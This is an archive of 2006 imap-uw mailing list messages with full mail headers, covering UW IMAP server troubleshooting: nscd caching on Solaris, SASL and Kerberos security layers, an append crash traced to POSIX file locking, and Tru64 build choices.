k18BnJJU026203 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 8 Feb 2006 03:49:19 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18Bn51p015957 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Feb 2006 03:49:05 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18Bn5sS016759; Wed, 8 Feb 2006 03:49:05 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18Bn4FU016751 for ; Wed, 8 Feb 2006 03:49:04 -0800 Received: from mx0.citrus-it.net (buckk.citrus-it.net [84.246.196.148] (may be forged)) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18Bmwox017777 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 8 Feb 2006 03:48:59 -0800 Received: from citrus-it.net (localhost [127.0.0.1]) by mx0.citrus-it.net with ESMTP id k18Bml76018711 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Feb 2006 11:48:48 GMT From: c-client@fiddaman.net Received: from localhost (af@localhost) by citrus-it.net with ESMTP id k18Bml8f018708; Wed, 8 Feb 2006 11:48:47 GMT Date: Wed, 8 Feb 2006 11:48:46 +0000 (GMT) To: Thomas Lohman Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c In-Reply-To: <43E9D8F9.4010505@mtl.mit.edu> Message-ID: References: <43E91C79.8050507@mtl.mit.edu> <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> <43E966F1.5000502@mtl.mit.edu> <43E96C40.6060801@mtl.mit.edu> <43E9D8F9.4010505@mtl.mit.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 8 Feb 2006, Thomas Lohman wrote: ; set to NIL and see if the problem is fixed. It also seems to be that running ; a local caching name server may also aid in speeding up the server and the ; lookups. Is this something recommended? We currently do not do this on our ; Solaris servers but it was on the to do list. It seems the IMAP/POP server's ; performance might improve a little if this were done. Solaris has a name service cache daemon (nscd) which should be running by default. It might help if you increase the negative TTL in /etc/nscd.conf for hosts entries (defaults to 5 seconds). A. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Feb 8 04:06:10 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Feb 2006 04:06:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18C6AFq003776 for ; Wed, 8 Feb 2006 04:06:10 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18C64dE020747 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 8 Feb 2006 04:06:04 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18C5o22025692 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Feb 2006 04:05:50 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18C5oxZ018040; Wed, 8 Feb 2006 04:05:50 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18C5nuW018032 for ; Wed, 8 Feb 2006 04:05:49 -0800 Received: from mtl.mit.edu (MTL.MIT.EDU [18.62.0.45]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18C5eX7013076 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Feb 2006 04:05:46 -0800 Received: from c-65-96-240-115.hsd1.ma.comcast.net ([65.96.240.115] helo=[192.168.2.12]) by mtl.mit.edu with asmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1F6o3h-0003Lg-Nx for imap-uw@u.washington.edu; Wed, 08 Feb 2006 07:04:29 -0500 Message-ID: <43E9DEC7.9000900@mtl.mit.edu> Date: Wed, 08 Feb 2006 07:06:31 -0500 From: Thomas Lohman User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c References: <43E91C79.8050507@mtl.mit.edu> <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> <43E966F1.5000502@mtl.mit.edu> <43E96C40.6060801@mtl.mit.edu> <43E9D8F9.4010505@mtl.mit.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MTL-MailServer: Found to be clean X-MTL-MailServer-From: thomasl@mtl.mit.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: thomasl@mtl.mit.edu List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > Solaris has a name service cache daemon (nscd) which should be running by > default. It might help if you increase the negative TTL in /etc/nscd.conf > for hosts entries (defaults to 5 seconds). Thanks - I had completely forgotten about Sun's caching daemon. Currently, the positive TTL is set to an hour and negative TTL is set to 5 seconds - guessing these are the defaults. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Feb 8 11:39:15 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Feb 2006 11:39:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18JdEj8001822 for ; Wed, 8 Feb 2006 11:39:14 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18JdDF6028235 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 8 Feb 2006 11:39:14 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18JdAxx020006 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Feb 2006 11:39:10 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18Jd9ij022102; Wed, 8 Feb 2006 11:39:09 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18Jd8fF022094 for ; Wed, 8 Feb 2006 11:39:08 -0800 Received: from mail138.messagelabs.com (mail138.messagelabs.com [216.82.249.35]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k18JcVqJ023959 for ; Wed, 8 Feb 2006 11:39:08 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-7.tower-138.messagelabs.com!1139427510!1369764!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 1725 invoked from network); 8 Feb 2006 19:38:30 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-7.tower-138.messagelabs.com with SMTP; 8 Feb 2006 19:38:30 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id D05651B20; Wed, 8 Feb 2006 14:38:29 -0500 (EST) Date: Wed, 08 Feb 2006 14:38:27 -0500 From: Mark Sirota To: Mark Crispin Subject: Re: [Imap-uw] Detecting flag changes from c-client? Message-ID: In-Reply-To: References: <3E0EEAD8E94FD29A060E4E3E@[10.0.1.3]> X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On February 7, 2006 8:04:41 AM -0800 Mark Crispin wrote: > What mailbox format are you using? What operating system? Good catch. The test mailbox had fallen back to mbox accidentally somewhere along the way; the problem was the lack of support for simultaneous access. Sorry for the false alarm... Thanks, Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Feb 8 18:13:25 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Feb 2006 18:13:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k192DP40025039 for ; Wed, 8 Feb 2006 18:13:25 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k192DOSe011129 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 8 Feb 2006 18:13:24 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k192DKsG016334 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Feb 2006 18:13:20 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k192DKdi030169; Wed, 8 Feb 2006 18:13:20 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k192DINj030153 for ; Wed, 8 Feb 2006 18:13:18 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k192DIjN007585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 8 Feb 2006 18:13:18 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k192DH7j007150 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 8 Feb 2006 18:13:17 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k192DHKa016499 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 8 Feb 2006 18:13:17 -0800 Date: Wed, 8 Feb 2006 18:15:20 -0800 (Pacific Standard Time) From: Mark Crispin To: Maurice Massar Subject: Re: [Imap-uw] sasl secuity-layer support In-Reply-To: <20060207100014.GK1167@sushi.unix-ag.uni-kl.de> Message-ID: References: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> <79F1811BCAE5C197F39B0AFB@[10.0.1.3]> <20060207100014.GK1167@sushi.unix-ag.uni-kl.de> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 7 Feb 2006, Maurice Massar wrote: > [snip] Thank you for your comments. Since I always take certificate warnings seriously, I tend to forget that many users just ignore these warnings. I wish that Kerberos was better deployed (and much easier to configure on Windows!). Sadly, many systems are set up with a fallback to plaintext passwords, which IMHO largely defeats the benefit of Kerberos. Here's another issue that comes up with the UW IMAP client code. Unless explicitly told not to, it negotiates TLS automatically on all non-SSL links before it even thinks about authentication. The story gets worse. Suppose, as site policy, all sessions must have both integrity and privacy protection; and both clients and servers must enforce this policy. This means that the server must refuse to authenticate a session that does not set the security layer to 4 (I'm assuming that privacy protection implies integrity protection); but only if SSL/TLS is not in effect. Since the client also insists upon both integrity and privacy protection, it must abort a GSSAPI negotiation that does not offer it. This makes for a very complex initial authentication. Also, isn't Kerberos vulnerable to a MITM attack on the client->KDC path? Although Windows insists upon a negotiated client password (which has other problems), MIT Kerberos does not. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Feb 20 06:34:19 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Feb 2006 06:34:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KEYJJA024358 for ; Mon, 20 Feb 2006 06:34:19 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KEYIs2004447 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 20 Feb 2006 06:34:18 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KEYEib027041 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 20 Feb 2006 06:34:14 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KEYEoC001180; Mon, 20 Feb 2006 06:34:14 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KEYDRc001170 for ; Mon, 20 Feb 2006 06:34:13 -0800 Received: from moose.cs.indiana.edu (moose.cs.indiana.edu [129.79.247.191]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KEYCjj030578 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 20 Feb 2006 06:34:12 -0800 Received: from robwilco.cs.indiana.edu (robwilco.cs.indiana.edu [129.79.245.59]) by moose.cs.indiana.edu (8.12.11/8.12.11/IUCS_2.72) with ESMTP id k1KEY9G0004182 for ; Mon, 20 Feb 2006 09:34:09 -0500 (EST) Received: from robwilco.cs.indiana.edu (localhost [127.0.0.1]) by robwilco.cs.indiana.edu (8.13.4/8.13.4/NULLCLIENT_1.4) with ESMTP id k1KEY8Dk022191 for ; Mon, 20 Feb 2006 09:34:08 -0500 Message-Id: <200602201434.k1KEY8Dk022191@robwilco.cs.indiana.edu> To: imap-uw@u.washington.edu Date: Mon, 20 Feb 2006 09:34:08 -0500 From: Rob Henderson X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __LEO_OBFU_DATE_0500 0, __MIME_TEXT_ONLY 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] IMAP crash on append to sent-mail X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I have a user who is having trouble when saving copies of sent email to their sent-mail folder via IMAP using thunderbird. Oddly, this works for some email but fails for others and seems to be dependent on the content of the email being sent. In particular, it seems to fail when sending html content that includes certain structures and the problem is quite repeatable. Very odd. It seems possible that the problem is related to this thunderbird bug: https://bugzilla.mozilla.org/show_bug.cgi?id=206408 However, when it fails, I see the following error from imapd in the logs: imapd[24422]: [ID 839431 mail.alert] IMAP toolkit slave process crash: Unknown master response for append: I was hoping that someone might be able to interpret this error message or have other information about this problem. Here are the details of our config: Mail client: Thunderbird 1.5 under Windows XP IMAP server: UW imapd 2004.357 under Solaris 8 Any help tracking this down would be much appreciated. Thanks! --Rob _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Feb 20 10:42:18 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Feb 2006 10:42:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KIgIQq002141 for ; Mon, 20 Feb 2006 10:42:18 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KIgHFu002181 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 20 Feb 2006 10:42:17 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KIgDrP023498 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 20 Feb 2006 10:42:13 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KIgDfL026795; Mon, 20 Feb 2006 10:42:13 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KIgCsu026787 for ; Mon, 20 Feb 2006 10:42:12 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KIgBQc004474 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 20 Feb 2006 10:42:12 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KIgBPD023486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 20 Feb 2006 10:42:11 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com (222.sub-70-203-94.myvzw.com [70.203.94.222]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1KIffbx009378 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 20 Feb 2006 10:42:07 -0800 Date: Mon, 20 Feb 2006 10:41:31 -0800 From: Mark Crispin To: Rob Henderson Subject: Re: [Imap-uw] IMAP crash on append to sent-mail In-Reply-To: <200602201434.k1KEY8Dk022191@robwilco.cs.indiana.edu> Message-ID: References: <200602201434.k1KEY8Dk022191@robwilco.cs.indiana.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 20 Feb 2006, Rob Henderson wrote: > However, when it fails, I see the following error from imapd in the logs: > imapd[24422]: [ID 839431 mail.alert] IMAP toolkit slave process crash: Unknown master response for append: > I was hoping that someone might be able to interpret this error message > or have other information about this problem. > IMAP server: UW imapd 2004.357 under Solaris 8 This error message only occurs on SVR4 systems such as Solaris, HP-UX, AIX, etc. The underlying cause is what the BSD man pages call "the completely stupid semantics" of POSIX file locking (fcntl() system call). Systems which have the flock() system call, such as BSD (including Mac OS X) and Linux, do not have this problem. The outcome of these "completely stupid semantics" (harsh words, but ones which I agree) is that operations which deal with a named mailbox must run in an independent subprocess. Otherwise, if the client does any such operation (DELETE, RENAME, STATUS, SCAN, COPY, APPEND) with the currently seleted mailbox as the target, the lock on the selected mailbox is lost. The most common offenders are COPY and especially APPEND (e.g., copying a message to the currently open mailbox). There is a communication protocol between the master imapd and the subprocess. This error message is an error in the communication protocol. The fact that the error was a spurious 0xff character suggests that what really happened is that what was passed as an EOF instead of a 0xff character. That is, the master process died (perhaps because the client dropped the connection), and the slave found out by getting an EOF on the pipe. So, although the error message is flawed (I will fix it to test for EOF), the underlying problem in your case is probably that the client dropped the connection unexpectedly. So it's probably a Thunderbird issue, not an imapd issue. Another good thing that you can do is to dump your Solaris systems in favor of Linux or BSD. SVR4 is a very poor platform for IMAP servers, and SUN is a particularly troublesome vendor. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Feb 22 14:12:48 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Feb 2006 14:12:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1MMCmut028825 for ; Wed, 22 Feb 2006 14:12:48 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1MMClex013048 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 22 Feb 2006 14:12:47 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1MMChQ5015434 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 22 Feb 2006 14:12:43 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1MMChCK029756; Wed, 22 Feb 2006 14:12:43 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1MMCf2G029742; Wed, 22 Feb 2006 14:12:41 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1MMCfiw006445 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 22 Feb 2006 14:12:41 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1MMCeqD015421 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 22 Feb 2006 14:12:40 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1MMCdnx027463 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 22 Feb 2006 14:12:40 -0800 Date: Wed, 22 Feb 2006 14:12:39 -0800 (PST) From: Mark Crispin To: Ron Hartman In-Reply-To: <002001c637f4$64753a70$180fa8c0@Gentelco.com> Message-ID: References: <002001c637f4$64753a70$180fa8c0@Gentelco.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __FRAUD_419_BADTHINGS 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List Subject: [Imap-uw] Re: [Imap-protocol] UWImap / True64 / Existing Accounts Question X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello Ron - For future reference, usage questions about the UW IMAP software should go to the imap-uw (and/or imap-use) list instead of the imap-protocol list. I'm redirecting this thread there. How did you build the software ("make osf", "make sos", "make os4")? The "make os4" build uses the SIA calls (sia_validate_user() and sia_become_user()). This SIA code was supplied to us by Digital/Compaq several years ago, but we never got it to work right for us. I also have received reports from other sites saying that the os4 build's usage of sia_become_user() causes the user not to get proper file access and the job can't be killed. However, Digital/Compaq insisted that the SIA support code was correct. Back when we still used that operating system, we always used "make sos", which uses the SecureWare getespwnam() call instead. We still have a couple of Tru64 systems for testing, but we've pretty much abandoned it in favor of Linux (let's just say that we had some problems with AdvFS). So, if you used the "make os4" build, try the "make sos" build and see if that resolves your problem. On Wed, 22 Feb 2006, Ron Hartman wrote: > We recently installed UW Imap via the True64 Internet Express installation > application. All appears to be working exceptionally well except for one > thing: > Accounts that existed on our server prior to the install will not > authenticate. Any new accounts that are created authenticate just fine. My > assumption is that I have to run some type of script to modify / create > something on the 